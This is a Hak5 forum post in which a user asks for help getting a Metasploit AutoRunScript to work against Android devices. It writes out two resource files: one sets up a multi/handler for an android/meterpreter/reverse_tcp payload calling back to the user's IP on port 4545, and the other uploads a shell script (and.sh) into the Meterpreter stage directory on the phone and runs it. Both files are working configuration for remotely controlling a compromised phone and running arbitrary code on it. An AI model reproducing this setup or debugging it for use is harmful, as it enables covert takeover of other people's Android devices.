Jump to content
Hak5 Forums

Metasploit AutoRunScript for Android

Recommended Posts

I try to make metasploit autorunscript for android. The firest .rc file has this config

use exploit/multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST xxx.xxx.xxx.xxx (my IP)
set LPORT 4545
set AutoRunScript multi_console_command -r /root/Desktop/commands.rc
exploit -j -z

and this is the second .rc file (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files
cd /data/data/com.metasploit.stage/files 
sh and.sh

The problem is after the shell command is executed the sh and.sh and the exit commands are not executed. If I type manually the sh and.sh and the exit commands it's working. The question is how can I make this commands to be executed ? Any Suggestions are Welcome and Appreciated!

Share this post

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.